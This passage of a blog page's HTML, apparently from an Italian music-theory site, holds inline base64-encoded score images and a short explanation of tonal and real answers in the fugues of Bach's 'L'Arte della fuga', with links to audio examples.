pb1JUlL14QnFzs3UO0XyrOkJvuJ\/fA0AAAAUUc7ribYWPJXDvvVTePZh7Zap6wtoUyI60btEt3pVpmfiU9qbJCVVHyj29JZEkVirxeWzSqaGXcFZZyslja0hrivIcLkPU3cZtlqbEtGJ3iW61asyPROf0t4kKan6QLEXF2RevxOvguOninm9Jr0rfYjfaNjqjpMT0YleH93qVcm8fqegqrgPKZZ5vR2jguPD+mv\/0XE7mn\/5z+uvcJKGre44ORGd6PXRrV6VzOt3CqqK+6hi49GtnvSXul0SLgXHJ\/XP63fns2\/9Lmr6YNhq81cn0YluEt3qVcm8fqegqriPKjYe3epJf6nbJWFR8Oyw\/r5rd0pHGe6L64Z5nehEJ\/r4Lp\/nl3n9TkFVcR9VbDy61ZP+UrdLwqLghWH9VTWvz2Z1M8zrRCc60cd3+Ty\/zOt3CqqK+6hi49GtnvSXul0S+oLXhvXX5tNzmpX27JYlk7XyOGHDB8\/81Ul0optEt\/qKp2fiU9qbJCVVHyjWJ7rVk\/5St0tCXPCVgXjr6TnKQTuyn7Zrx+fqyprBhIvbGKFNiehE7xK9\/jU4sOMFmLvgdZKUVH2gWJ\/oVk\/6S90uCet5PXL71sQGv9o0H4\/zCUqPuzvhKzlv2oWynSW6f\/SyJ92w9shd2rQ\/pWfiU9qbJCVVHyjWJ7rVk\/5St0tCfD4uDnD7NmyQQ+KsGc9kVm5054Q3bcHubSV6o+gFj\/kgepm16GXNiUjPxKe0N0lKqj5QrE90qyf9pW6XhOm8Hl9ha26DX6XMmsE0FuQm4JDw0WWbtmDrthK9V\/RNZywYvcxa9LLmRKRn4lPamyQlVR8o1ie61ZP+UrdLQlZwyqy57wANVr6S8EIOa3JzcEj46LJNW7BjTaI3jb7pjAWjl1mLXtaciPRMfEp7k6Sk6gPF+kS3etJf6nZJ2M3rC4vsS2\/wq7WEZxNYlpuGQ8JHl+XW+7ls+ppEbxp90xkLRi+zFr2sORHpmfiU9iZJSdUHivWJbvWkv9TtkpCdy6xB898tFxc5ynDwq8RYkSizctNwSPjostx6P5dNX5PoTaNvOmPB6GXWopc1JyI9E5\/S3iQpqfpAsT7RrZ70l7pdEsmDHQAAAIAjynl9IuS17Iv6wl+uf2TikPDRleklv5dNX\/O9cvEmEn0qw68\/rMnKsPbIXdq0P6Vn4lPamyQlVR8o1ie61ZP+UrdLotO8HvzYpwwBg892wVRRVmYwE4eEjy7+\/Hli+emdfE12ieiRBXfkWRYrGL3MWvSy5kSkZ6I9jUexagLJg6riPqrYeHSrJ\/2lbpeEy7y+dtesqSTHCczVPKmgwKlMHBI+un5TB3Kbubs5D4yem+TnsmWxgtHLrEUva05EeibBBSubIOm2aosp1ie61ZP+UrdLose8vvbJX5sDPiMe5bBYedi+utYycUj41127+5C71Bqiv45PYGKSv5aNx8rt1VH0MmvRN23EmvRMggtWNkHSbdUWU6xPdKsn\/aVul0R1wQuTwfIn\/0g8z685XKo\/ZkdFVzJJz3k5k7JWZC011Zb0Wm4Q\/SiZrCT\/LhuJld6rQfQya9E3bcSa9EyCC1Y2QdJt1RZTrE90qyf9pW6XhPu8Hvmun35NFz6un1emf5Uj0V+xcacgk3iUfQlHVs5tSMpS8bR31HKP6EfJpCT5ddlBrE29GkcvsxZ900asSc8kuGBlEyTdVm0xxfpEt3rSX+p2SXSd1\/9eE783ss1\/v9CThV7y82de2TQfRDKZDZeb8GATt3YmZanZ5HNruUf0o2RSkvy67EItW6OXWYu+aSPWpGcSXLCyCZJuq7aYYn2iWz3pL3W7JPTz+tTFR9cP1ln7vm76Hgf5HET5I3o6Kl3Zo8E616uOZ55Vzi2jH+WTkufXZRfKmQ1xtMKOinZH37QRpxFrGhhcsLIJxd0WBlXFfVSx8ej1T\/qYVTI1ms3r4yuDi0SOXfCyTXwOovwRPdq+qd0sWHM5CtHH0Y\/yScnz67JT5RzdMrXIUe2J9kXfmvbfQMUNnNrc3NCDWDWB5EFVcR9VbDx65SGPsEqmRqd5\/fTKeFDzo+lzEOWP6OlXeSrDwWd+9oTkxsoNfafoRyl9\/jwl58FS4yRPoxc3vzj6prT\/hpA0MLhgQRM+Y9UEkgdVxX1UsfHolYc8wiqZGo+Y12fjvtRHwecgyh\/R010LZhj\/3scPyY6IWd2+TfTxz3PTfp3N6\/Fbvia53ITlWgqi5+b8dXFVA1\/M69KgqriPKjYevfKQR1glU6PNvB5ZOSuunE968l69ox9lEslw7at\/sfDicHeN\/uu3u5P\/utRphkc\/X5NVSE303P5LShjnEE91UEJ9SrkkQVVxH1VsPPq+J32NVTI1mNcd+aTn06vxF\/H0xjUpOdfEumv04vy\/LjUOMbhlTUoVZdFz+y8pYZxGPNtB\/vUp5ZIEVcV9VLHx6Jue9GVWydTQPAzBF9nU+25qNfOd9knPp1dHmYwznP3Spx+Smih3jR5ZIbeKr0uNQ\/z9VTztHbUUR0\/JWVvCOJN4woPM61PKJQmqivuoYuPRdzzpV1glU4N53ZFPej69OspknGHwA7\/7K7t18VtGF+7UUTLxW2aTz62lOHpKztoSxpmkJFyfUi5JUFXcRxUbj77jSb\/CKpkaeycSAAAAAG\/KeX0uajjvqdqCSy03q4xPej69OspkkGH944QsO\/Zoec1xrF+\/WjhpyxUt15gYPSVtbQnjZC7mnLLIwmpxqsZKig3mVh9UGDcYfccxuMIqmRpt5vXI3owv2\/r2yeWTnk+vjjIZZBj5JAw+FRA63Zepbbq49eNYP3nzerCcrEpTomdlLixhnMxazlOLqMr0D5oYdyrD+qDCuMHoqu04YpVMDVnB8Qcy\/tyOL9O+Aqb4ZOjTrqNMPn\/+kzQ5VdSDodMdmXonXDwA41g\/TqeuPnpi8qoSxslM5Ty7iKpSSVxVsQt51gcVxg1GV23HEatkaojPR\/CZnLrsNJb\/Nvtk6NOuo0wGO9vi24Cvfj7+DDbY99NF1gRjGZ66+ug3KGGcTDzn2UUWKk3csuK4qmLXUq0PKowbjK7ajiNWydToMa9\/Xn96TUosLZ8kfTr2K5Pgy938w4BTR1tzumVTWx85RYOVr4RebUxO4Vnhrq\/zd01VA39lEk94apGpGhNLlsRVFbucbX1QYdxgdNV2HLFKpoa44IXHcnzx119pH\/4FPnn6NG355e75SUDQeFvHdy07ihU\/PwtRElVG31SLtoGfaQQvG1z591eR6nYULomrKnaZJKgwbjC6ajuOWCVTQ19w7pP5dR3tw7\/AJ0+Tpl1\/uZt8CTDraKcWtnv5FDU9dTXRtxalbeCLeT0jrqrYZZKgwrjB6KrtOGKVTA2LghMfzr+LaJ\/8NT6pyvvm\/3LHVkfbOtju2TNzeoQ4dQM36MBgT4OljZvwc\/xJSjmfV8rcHVdV7Fpi71\/tiztOSRI3GH33jsyySqaGS8FZj+ivFWqe\/HQ+2cpb5\/Bmh9DR5g42PX5mggdpfPHDz17fp2\/5PBwtNfjtQtwr+VypNzeuqtiL+aTHDeYmiRuMLuzMV1bJ1PAqOOVp+fn4U7L28Vvmk7C8e86vVxQ42t\/BvgfPTPwgjS97+PHr+ABePxJfFxz8djn6QjIpVWfFVRV7MZPc0PEMj35ekNJpCGFnvrJKpoZdwdefGYcH7yKftOU9PH2fyjPEVkf7+\/nzn6R5aJzD0QUPP369HsDcg\/Fr2cFvr+dwvcmSuKpir+eQmEA8z6OfF+RzGkLVliNWydQwLfjKY6N95FL4ZC5v4+k7VJ4hthrv+9eDUfxtfvjxa\/QALhyMYHWnp\/RiGqrymwa9mMCONOKpxn+eHv30AklbjlglU8O64KnnR\/6wJfLJX97Md3Ttuwwqv\/Y3+HGt\/DA\/\/Ph1eQCnjsTsCfl1mdX5lMdVFTsbemsm8WzjP0+PfnqBpC1HrJKp0aPg2Wes+0b65O\/ziGrfZVBZ\/riu3bWWYco6TbV4AKPfj9Vz8r7M8Hw6xLUNWplPMOH4z9Ojn14gacsRq2RqNC54cHrcDtYsn+R9Oql9l0Hi+se14Ev88OPX4gGMH6S1A+N8Pn3iFgeN769qF74mHP95evTTCyrbcrovkj3S0vx3XgAAAMADKed1K8vtMNE6+U2O9rT7XuOrrW+99FTVKWCk4LM6vp0TUq9g03OTeam\/cQ6nNLgjm7bJ3z0L7r6XrZPfRPsuQzHJZ3WNSRo4EjxLVw7Y+EZOSL2CTd+UxtEi7\/+cmN6vKJtWjicwtRfyhOvdtuDWe9k6+U0i7zLcxunHzGffTdLAkYWZafZ0jW\/hhNQr2PSyBDZl+DfKppWD0WfL1CYscduCt57s3fpmvk\/rDcWs4DesPrG\/TNLAkZSZ6WICuQvilHbTF6L\/TaMgz185b1o5EnqhRmHCKrcteOvJ3q1v5vu03lDMeu\/10b77nAeTNDCwNjAlRk9fE6dUmz4Vd0Fiqr\/S3rTyady16rZ2w5N1tVeOaeu97Js5kOvoQW79gKPeAych1G96JOJFuQl\/Zr5p5XHQtbpOb9ndLgnTYq4f1tZb1TdzINfRg9z6AYdK5QD0GXR3CAwUT7277ct808rjoAtFnd5V07F6jpVknde++9Q3cyDX0SN\/sxcxboyD+hBXpvCIHel9\/vbi+sv5rN01uDG3bz7sKkk8uH33qW\/mQK6j5\/1mL2LcGAf1IYLTy5qtWb108\/rCLac9yWqdG7tKEs9u361qmjaQ7ugp7vt042k4qA8RnF5mh5zld91yxBqzQePZauvax6uS3LPVd6uapg2kO3qK+z7deBoO6kNMDTDxwWbhXZcVeqt40IVUVUVt5VVM7tnqu1tN0wbS9X2KgX84wA8xPyH\/5x9EOXrXzb4DF9KQvGYjQR3y9OFVee7Z6ruvfTMHcj38BY0b4AA\/x5UZ5uhdN\/UOnEpgdqZKNwjqk6QPr+Jzz1bfre2bOQAAj7U8vRz9Kj6nTk1QCzNVur9x3TK04lV\/4tlqvbt9MwcA4OESh5bZoTZLZjvOqjZJxpxXFxIPU+s97ps5AACYdTS0\/P351KS0rKruUVHFOZiza0fKSeq+062TBwAAU47mluA8c2k2Z+TowG6Trp+tG5y\/1skDAIApwnl9QzXIZ7dP18\/WDc5f9\/wBAEBcZF4fzAYM67fnuFUXJ3XOHwAAaGQ8r5+ON0zqt2e6YQsHiyMIAAA6+jXALAzZDOv35rtn8YPF+QMAAH2lzNlM6jfmvnP8SREAANxYcNQJTjuMSbfUYwsZ0wEAwM3EJ3XGnodj7wEAAASY1BHECQAAABBgWEcQhwAAAEDgdEBnXsc\/HAIAAACB079HZ17HPxwCAAAAgZ+Pf3cp8zoGOAQAAABKzOsY4xAAAAAoMa9jjEMAAACgxLyOMQ4BAACAEvM6xjgEAAAASszrGOMQAAAAKDGvY4xDAAAAoMRcjjEOBwAAgBLzOsY4HAAAAIAv5nUAAADAF\/M6AAAA4It5HQAAAPDFvA4AAAD4Yl4HAAAAfDGvAwAAAL6Y1wEAAABfzOsAAACAL+Z1AAAAwBfzOgAAAOCLeR0AAADwxbwOAAAA+Pofad2t42Qi3F4AAAAASUVORK5CYII=\" width=\"338\" height=\"73\" \/><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-10.mp3\">Bach 10<\/a><\/p>\n<p style=\"text-align: justify;\">Il tema de <i>L\u2019Arte della fuga <\/i>d\u00e0 origine a Fughe tonali \u2013 cio\u00e8 con mutazione intervallare nella risposta a causa della presenza della Dominante nella testa del Soggetto \u2013 ma talvolta \u00e8 usato anche per Risposte reali.<\/p>\n<p style=\"text-align: justify;\"><i>esposizione con risposta tonale<\/i><\/p>\n<p style=\"text-align: justify;\"><i><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-11.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-231 alignnone\" alt=\"Bach 11\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-11.png\" width=\"667\" height=\"135\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-11.png 2574w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-11-300x60.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-11-1024x206.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-11-624x125.png 624w\" sizes=\"auto, (max-width: 667px) 100vw, 667px\" \/><\/a><\/i><\/p>\n<p style=\"text-align: justify;\"><i><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-11.mp3\">Bach 11<\/a><\/i><\/p>\n<p style=\"text-align: justify;\"><i>esposizione con risposta reale<\/i><\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" 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bXapKWGSPiJ5wzF7Mv\/94b7nwlYXNhvQLswgngcSJKLLEihpyO+sDwLePIUdswPxjTFVheCqGRS7bNP75zydIcuysm+Qqnyq5r7BkjeYuX6D9RnTx7+DTptYhx0K5rgWv23izS1UJi+yU0u2P2Qv3H3uuK9sQTgKJE1FkiRU15Hbux4DtP4fcyz\/YVBWGx2NY9rJN45\/\/fI7px866Sa7yqZL7Cv9cnXI9B9TLNgN59+\/406bcIcdCua4Fr9t4s0tVCYvsmtKNj9mL7vcfAAAAAAAAzZLef7Q1XvLKwmZDOoVZhJNA4kQUWWJFbbn1uDhL\/tlOVWGPfI4Jf7Zp\/POfGWbdJFf5VMlNhddvYSp1HhDVnDblDjkWynUteN3Gm12qSljkiilNaOH7j5LGSypc9MjjEMJJIHEiiiyxoubcelycIv9sp6qwUz4HhD\/bNP75zwyzbpKrfKrkpsI\/vogp1nk0tHDalDvkWCjXteB1G292qSphkSumNKEs9x+vmtOn\/JAqqVCSyEw+CSRORJElVvQktx4ax8s\/1akq7BfO3uHPNo1\/\/jPDrJvkhmLuf\/7v7Su5NiPGQz2nTblDjoVyXatdt\/Fm74ftrEo+WS6iOSW6\/3jVnD5VL\/valySRlnwSSJyIIkus6GFuPTQOln+qU1XYNZxdw59tGv\/8Z4ZZN8kNlXz6+Z91fvo25sao0dDCaVPukGOhXNdq12282fthO6uST5aLaE6r3n+Ud\/HpBZ4MWIKIEkiciCJLrOh5bj06jpR\/nlNV2DuZ\/cKfbRr\/\/GeGWTfJDWVc\/uPXb1o+vazkb8nGaVPukGOhXO\/ZWLTxZpeqEha5Vj7TynX\/8Wq6lvhaRkgvMIWUEkiciCJLrCgktx4gh8k\/yakqHBDLTuFPNY2\/pS1sb+smua2Ge21\/OH44PGTV7h1yLJTrWue6jUdJWORC4cws3f3HK\/py4s92PB+wCiklkDgRRZZYUWBubYEB8s9wqgqHZTK8o1TT+Fvawva2bpJruy5R1cLIIRDL8t074Vio0rXIdRuPkrDIVZKZXMb7j1fo\/cR7I54SWIigEkiciCJLrEhu15J\/sVJVuG6805adtrC9rZvkEp++Uan9poXNWOt7tsNF19lYt\/EoCYu0BUIkvf94xd1SXFrwPMFaZJVA4kQUWWJFcruW\/IuVqsJ145227LSF7W3dJJcovPbYeAb4kxW\/Z1NcdJ2NdRuPkrBIWyBE3vuPS6cPG7m0JjqsQlwJJE5EkSVWJLdryb9YqSpcN95py05b2N7WTXIJlx\/8yaLfsy8u1r2iWGIdExZpC4TIfv\/xiri08DzBuoSWQOJEFFliRXK7lvyLlarCdeOdtrK4x1gAACAASURBVOy0he1t3SSX+PqNyt7D5xOLfs++uFj3imKJdUxYpC0QYoH7j\/feR\/4tzCW3BBInosgSK5LbteRfrFQVrhvvtGWnLWxv6ya5xNcvUvYePp9Y9Hv2xUWP2RjzrekS65iwSFsgxDL3H3\/WEPhiyEl6CSRORJElViS3a8m\/WKkqXDfeactOW9je1k1yiZ+huf\/gN4t+z764eDIbn77XHfPd6RLrmLBIWyDEYvcfX4v5VJ6ssCgnHYHEiSiyxIrkdi35FytVhevGO23ZaQvb27pJrvJpmIcMnwuLfs++uCicjfJvTf\/8EnVi5XMlLNIWCLHq\/Udtj+LCokSXQOJEFFliRXK7lvyLlarCdeOdtuy0he1t3SRX+TTMQ4bPhUW\/Z19cXGaj9nrjq2GV55SwSFsgRPf7DwAAAAAAgGZJ7z\/aygqXqhgoJ7oEEieiyBIrkltipYrTuvFOW3bawva2bpKrfBrmIcPnwqLfsy8unnxxXKJr5f0aj5KwSFsghPsPSE10CSRORJElViS3xEoVp3XjnbbstIXtbd0kV\/k0zEOGz4VFv2dfXLTdapTrWnm\/xqMkLNIWCHHK\/ccrZYjhq2z7iKWJE1FkiRXJLbFSxWndeKctO21he1s3yVU+DfOQ4XNh0e\/ZFxfNFxuFulber\/EoCYu0BUKcdf+Rqh4oIbcEEieiyBIrkltipYrTuvFOW3bawva2bpKrHDJMCgnDPfvlov1m47NhlY\/p6ImERdoCIdx\/QGpySyBxIoossSK5JVaqOK0b77Rlpy1sb+smucohw6SQMNyzXy7abzlmT+P0AkokLDLD2m1gsfuPJ1tXYliR3BJInIgiS6xIbomVKk7rxjtt2WkL29u6SYZmMn\/PsXCxxFXHn3JWdZGwyLQLupZl7j+e72qJYUVySyBxIoossSK5JVaqOK0b77Rlpy1sb+smGZrJ\/D3HwkX+e45Plqg2YZHLLXROa9x\/3Fx+1F6BhNQDwzjpCCRORJElViS3bGzdeKctO21he1s3ydBM5u85FraxxDomLNIWCLHA\/cfXy4\/yjiSG5TjpCCRORJElViS3bGzdeKctO21he1s3ydBM5u85FraxxDomLNIWCHHc\/YfQsBahJZA4EUWWWJHcsrF145227LSF7W3dJEMzmb\/nWNjGEuuYsEhbIET2+4\/Cy4\/CvoSG5QgtgcSJKLLEiuSWja0b77Rlpy1sb+smGZrJ\/D3HwjaWWMeERdoCIdx\/QGpCSyBxIoossSK5ZWPiHc58TiHJHEjm7zkWGClh2GyBEMfdfzysBwZz0hFInIgiS6xIbtmYeIczn1NIMgeS+XuOBUZKGDZbIIT7D0jNSUcgcSKKLLEiuWVj4h3OfE4hyRxI5u85FhgpYdhsgRAH3X9IDCuSWwKJE1FkiRXJLRsT73DmcwpJ5kAyf8+xwEgJw2YLhHD\/AanJLYHEiSiyxIrklo2JdzjzOYUkcyCZv+dYYKSEYbMFQmS\/\/7jp1+UHJxBdAokTUWSJFcktGxPvcOZzCknmQDJ\/z7HASAnDZguEOOL+o\/COBBISXQKJE1FkiRXJLRsT73DmcwpJ5kAyf8+xwEgJw2YLhNjk\/qOkheeVwHjSSyBxIoossSK5ZWPiHc58TiHJHEjm7zkWGClh2GyBEAvcf9x0XXjzISisS4AJJE5EkSVWJLdsTLzZgyQDF44FDmcLhFjj\/uPP3sv\/JKoGGE+GCSRORJElViS3bEy82YMkAxeOBQ5nC4RY5v7jUkDhKwN7hykkmUDiRBRZYkVyy8bEmz1IMnDhWOBwtkCIle4\/7ssorArWIs8EEieiyBIrkls2Jt7sQZKBC8cCh7MFQqx3\/9FWDCxKsAkkTkSRJVYkt2xMvNmDJAMXjgUOZwuEWPX+Aw5hHxFInIgiS6xIbtmYeLMHSQYuHAsczhYI4f4DUrOPCCRORJElViS3bEy82YMkAxeOBQ5nC4Rw\/wGp2UcEEieiyBIrkls2Jt7sQZKBC8cCh7MFQrj\/gNTsIwKJE1FkiRXJLRsTb\/YgycCFY4HD2QIh3H9AavYRgcSJKLLEiuSWjYk3e5Bk4MKxwOFsgRDuPyA1+4hA4kQUWWJFcsvGxJs9SDJw4VjgcLZACPcfkJp9RCBxIoossSK5ZWPizR4kGbhwLHA4WyCE+w9IzT4ikDgRRZZYkdyyMfFmD5IMXDgWOJwtEML9B6RmHxFInIgiS6xIbtmYeLMHSQYuHAsczhYI4f4DUrOPCCRORJElViS3bEy82YMkAxeOBQ5nC4Rw\/wGp2UcEEieiyBIrkls2Jt7sQZKBC8cCh7MFQrj\/gNTsIwKJE1FkiRXJLRsTb\/YgycCFY4HD2QIh3H9AavYRgcSJKLLEiuSWjYk3e5Bk4MKxwOFsgRDuPyA1+4hA4kQUWWJFcsvGxJs9SDJw4VjgcLZACPcfkJp9RCBxIoossSK5ZWPizR4kGbhwLHA4WyCE+w9IzT4ikDgRRZZYkdyyMfFmD5IMXDgWOJwtEML9B6RmHxFInIgiS6xIbtmYeLMHSQYuHAsczhYI4f4DUrOPCCRORJElViS3bEy82YMkAxeOBQ5nC4Rw\/wGp2UcEEieiyBIrkls2Jt7sQZKBC8cCh7MFQrj\/gNTsIwKJE1FkiRXJLRsTb\/YgycCFY4HD2QIh3H9AavYRgcSJKLLEiuSWjYk3e5Bk4MKxwOFsgRDuPyA1+4hA4kQUWWJFcsvGxJs9SDJw4VjgcLZACPcfkJp9RCBxIoossSK5ZWPizR4kGbhwLHA4WyCE+w9IzT4ikDgRRZZYkdyyMfFmD5IMXDgWOJwtEML9B6RmHxFInIgiS6xIbtmYeLMHSQYuHAsczhYI4f4DUrOPCCRORJElViS3bEy82YMkAxeOBQ5nC4Rw\/wGp2UcEEieiyBIrkls2Jt7sQZKBC8cCh7MFQrj\/gNTsIwKJE1FkiRXJLRsTb\/YgycCFY4HD2QIh3H9AavYRgcSJKLLEiuSWjYk3e5Bk4MKxwOFsgRDuPyA1+4hA4kQUWWJFcsvGxJs9SDJw4VjgcLZACPcfkJp9RCBxIoossSK5ZWPizR4kGbhwLHA4WyCE+w9IzT4ikDgRRZZYkdyyMfFmD5IMXDgWOJwtEML9B6RmHxFInIgiS6xIbtmYeLMHSQYuHAsczhYI4f4DUrOPCCRORJElViS3bEy82YMkAxeOBQ5nC4Rw\/wGp2UcEEieiyBIrkls2Jt7sQZKBC8cCh7MFQrj\/gNTsIwKJE1FkiRXJLRsTb\/YgycCFY4HD2QIh3H9AavYRgcSJKLLEiuSWjYk3e5Bk4MKxwOFsgRDuPyA1+4hA4kQUWWJFcsvGxJs9SDJw4VjgcLZACPcfkJp9RCBxIoossSK5ZWPizR4kGbhwLHA4WyCE+4+OPs0YAAD8Nvu5lbVJEXuQZODCscDhbIEQ7j866vX5GACAvcx+bmVtUsQeJBm4cCxwOFsghPuPjswAz0kRgcSJKLLEitLmNm1hLESK2IMkAxeOBQ5nC4Rw\/9GRGeA5KSKQOBFFllhR2tymLYyFSBF7kGTgwrHA4WyBEO4\/OjIDPCdFBBInosgSK0qb27SFsRApYg+SDFw4FjicLRDC\/UdHZoDnpIhA4kQUWWJFaXObtjAWIkXsQZKBC8cCh7MFQrj\/6MgM8JwUEUiciCJLrChtbtMWxkKkiD1IMnDhWOBwtkAI9x8dmQGekyICiRNRZIkVpc1t2sJYiBSxB0kGLhwLHM4WCOH+oyMzwHNSRCBxIoossaK0uU1bGAuRIvYgycCFY4HD2QIh3H90ZAZ4TooIJE5EkSVWlDa3aQtjIVLEHiQZuHAscDhbIIT7j47MAM9JEYHEiSiyxIrS5jZtYSxEitiDJAMXjgUOZwuEcP\/RkRngOSkikDgRRZZYUdrcpi2MhUgRe5Bk4MKxwOFsgRDuPzoyAzwnRQQSJ6LIEitKm9u0hbEQKWIPkgxcOBY4nC0Qwv1HR2bg3n14RlaSmRQRSJyIIkusKG1u0xbGQqSIPUgycOFY4HC2QAj3Hx2ZgXvuP0pIEYHEiSiyxIrS5jZtYSxEitiDJAMXjgUOZwuEcP\/RkRm4cTM55u03s0EgcSKKLLGitLlNWxgLkSL2IMnAhWOBw9kCIdx\/dGQGPrkJz9dcncZsEEiciCJLrChtbtMWxkKkiD1IMnDhWOBwtkAI9x8dmYE\/3YSnJFenMRsEEieiyBIrSpvbtIWxECliD5IMXDgWOJwtEML9R0cPZ+B9kr\/OdmGP5YsY8vqbdko8H+\/SThgjw4gTUWSJFaXNbdrCWIgUsQdJBi4cCxzOFgjh\/qOjJzNw+dub2S5\/5f3rP61pw+u\/FvN1OA31f3r96vYeHYOJE1FkiRWlzW3awliIFLEHSQYuHAsczhYI4f6jo+YZuLkzKP\/hze1C19eXvPhrj5\/mrbaeDWw8NMYTJ6LIEitKm9u0hbEQKWIPkgxcOBY4nC0Qwv1HRoW3C1\/vCR7eOjS8vrCY2pZ\/\/6qwi23sOi6mECeiyBIrkls2Jt7sQZKBC8cCh7MFQrj\/yOjT3P55P1HeQsN9Ru3rC4upbfn3rwq72Mau42IKcSKKLLEiuWVj4s0eJBm4cCxwOFsghPuPjMqnt+oFtbcOVa\/\/FI8\/x1JbSdt497DloJhFnIgiS6xIbtmYeLMHSQYuHAsczhYI4f4jqa+T3HAfUNta1eurlrthXA3j3cOWg2IWcSKKLLEiuWVj4s0eJBm4cCxwOFsghPuPvO6nuu0+4P52obCRP19ftdw3xd\/3WDveDWw5KGYRJ6LIEiuSWzYm3uxBkoELxwKHswVCuP\/I7tNsN98HfGqqvJ22+4nCF5eX\/aSAhWw5KGYRJ6LIEiuSWzYm3uxBkoELxwKHswVCuP9Yw\/uEP7kPKF\/E8teX1FNVW0P7W0Zuy0ExizgRRZZYkdyyMfFmD5IMXDgWOJwtEGLn+49181F4MXC\/BDe3CFWVFL7+ayQe3n\/c\/6qq1LXsOi6mECeiyBIrkls2Jt7sQZKBC8cCh7MFQmx7\/\/G1vMzuLwAu\/7H2\/qO2kqoXfyrp8hP3H+V2HRdTiBNRZIkVyS0bE2\/2IMnAhWOBw9kCIfa8\/yisMK3C+4\/X5yuBmx+WT0jz67\/m5P2HP\/9886ubkhZd6BIbD43xxIkossSK5JaNiTd7kGTgwrHA4WyBEBvef5RXmNafxX8aS8Mrbzx5\/c2ffH1Zya9qx7uHvUfHYOJEFFliRXLLxsSbPUgycOFY4HC2QIgj7j+WC8pPweVDKHzlp0X89Oe1r\/\/zr2oLLhlL+cys7oQxMow4EUWWWJHcsjHxZg+SDFw4FjicLRBit\/uP2iJPcz8V79NV+3rCmWECiRNRZIkVyS0bE2\/2IMnAhWOBw9kCIba6\/\/hUoaz8p2QSfs9V7evpwQwTSJyIIkusSG7ZmHizB0kGLhwLHM4WCOH+4yDuP1ZkhgkkTkSRJVYkt2xMvNmDJAMXjgUOZwuE2Of+4\/7yQ1xKZuBy+VH1ejoxyQQSJ6LIEiuSWzYm3uxBkoELxwKHswVC7Hz\/MbGYhL4u2eVXta+nE\/NMIHEiiiyxIrllY+LNHiQZuHAscDhbIMQm9x9fS\/pa7Qk+reCnyal9PT2YagKJE1FkiRXJLRsTb\/YgycCFY4HD2QIhTrn\/GFxPZrU3GW4+5jLhBBInosgSK5JbNibe7EGSgQvHAoezBUJseP\/x9WVjSoIQQksgcSKKLLEiuWVj4s0eJBm4cCxwOFsgxA73H4WXHyNLgihCSyBxIoossSK5ZWPizR4kGbhwLHA4WyCE+w9ITWgJJE5EkSVWJLdsTLzZgyQDF44FDmcLhDjx\/kNuWIjEEkiciCJLrEhu2Zh4swdJBi4cCxzOFgix1f1H4CshCYklkDgRRZZYkdyyMfFmD5IMXDgWOJwtEGL5+4+SSt5f3LsqiCKxBBInosgSK5JbNibe7EGSgQvHAoezBUK4\/4DUJJZA4kQUWWJFcsvGxJs9SDJw4VjgcLZAiH3uP8JfTGbnLKLEEkiciCJLrEhu2Zh4swdJBi4cC7FM5nJsgRDuP1jSOYsosQQSJ6LIEiuSWzYm3uxBkoELx0Isk7kcWyCE+w+WdM4iSiyBxIkossSK5JaNiTd7kGTgwrEQy2QuxxYIcdD9R2HZLOGcFRRXAokTUWSJFcktGxNv9iDJwIVjIZbJXI4tEGKT+4\/yV7r\/2MOwFZweFXElkDgRRZYm8iTTzLyxMfFmD5IMXDgWYq07mUt8COpRXqpR56mk1tr3H+Xpd\/mxGfcf0ECciCJLA3x67vI808yksTHxZg+SDFw4FmKtO5lLfCzqUcn2AxzD\/QdLGraI09MisQQSJ6LIUqD7R\/klHvRXYdLYmHizB0kGLhwLsdadzCU+KPXoN9UWyFNJrSPuP5JsAwINW8TpaZFYAokTUWSpQe0je4nZY1qMSWNj4s0eJBm4cCzEWncyl\/j01KOLVFsgTyW19r\/\/mJJ4ehu2iNPTIrEEEieiyFKJ9gfzYrOHuBiTxsbEmz1IMnDhWIi17mQu8TGqR8uptkCeSmq5\/2BJwxZxeloklkDiRBRZKtH+PF5s9hAXY9LYmHizB0kGLhwLsdadzCU+SfVoNtUWyFNJrc3vP0amnJGGLeL0tEgsgcSJKLJUovFJvMbsIS7GpLEx8WYPkgxcOBZirTuZS3yS6tFsqi2Qp5JaO99\/DE45Iw1bxOlpkVgCiRNRZKlEy2N4pdlDXIxJY2PizR4kGbhwLMRadzKX+CTVo9lUWyBPJbW6338AAAAAAAA0S3r\/0VZWbVV\/\/jB2pkhl2DpOD8yxoT1z1L0dGyfCyVKJ5ke6wuntugRbrq\/csjHxZorw1EkycOFYiLXuZN5X3uPTVniRzW3mWbU8ldRy\/8GShq3j9MAcG9ozR93bsXEinCyV6P3k3XUJtlxfuWVj4s0U4amTZODCsRBr3cmsrbzfp7DAIgvbzLNqeSqpteH9x\/h8M96wpZyemWNze+aoezs2ToSTpRK9n0C6LsGW6yu3bEy8mSI8dZIMXDgWYq07mSGVu\/94KE8ltXa7\/7i\/\/Fh3nbhw\/7G9M0fd27FxIpwsleg9Re4\/asktGxNvpnD\/AfTmWIi17mTGVu7+o02eSmrtc\/\/x9ebjYTGpAof7j+2dOerejo0T4WSphPuPbOSWjYk3U7j\/AHpzLMRadzLdf2SQp5Jay99\/3BS23\/1HhhqScP+Rs9lAyctb1LFxIpwsleg9lq7t77QQPzYLGPwm3kwRnjpJBi4cC7HWnczYyjvNw\/afkfNUUuug+4+QXkIK3qCM6dx\/ZG45ROba1nVsnAgnSyXcf2SzU7rgQryZwv0H0JtjIda6k+n+I4M8ldRa\/v5jzOXHK1PgkpQxl\/uPqMY7tfzcOUs80rFx2s\/02ZalEu4\/enhSWJ5nOQiXLd6pijlQ+Gfhm47CG0wVnlTFwJmyHQvhBpzVl+7GdBQutvJO89Cj2VRbIE8ltda+\/7i58Ah\/5ssTuDyVTHTOe0PX5c6cpXOWeKRj47Sf6VMtSyUGPAUt2vgTTwrbJlrwLlu8UxWzmfKPwLEfhz8VE95gqvCkKgbOlO1YaDbxrL6UMaCXHmIr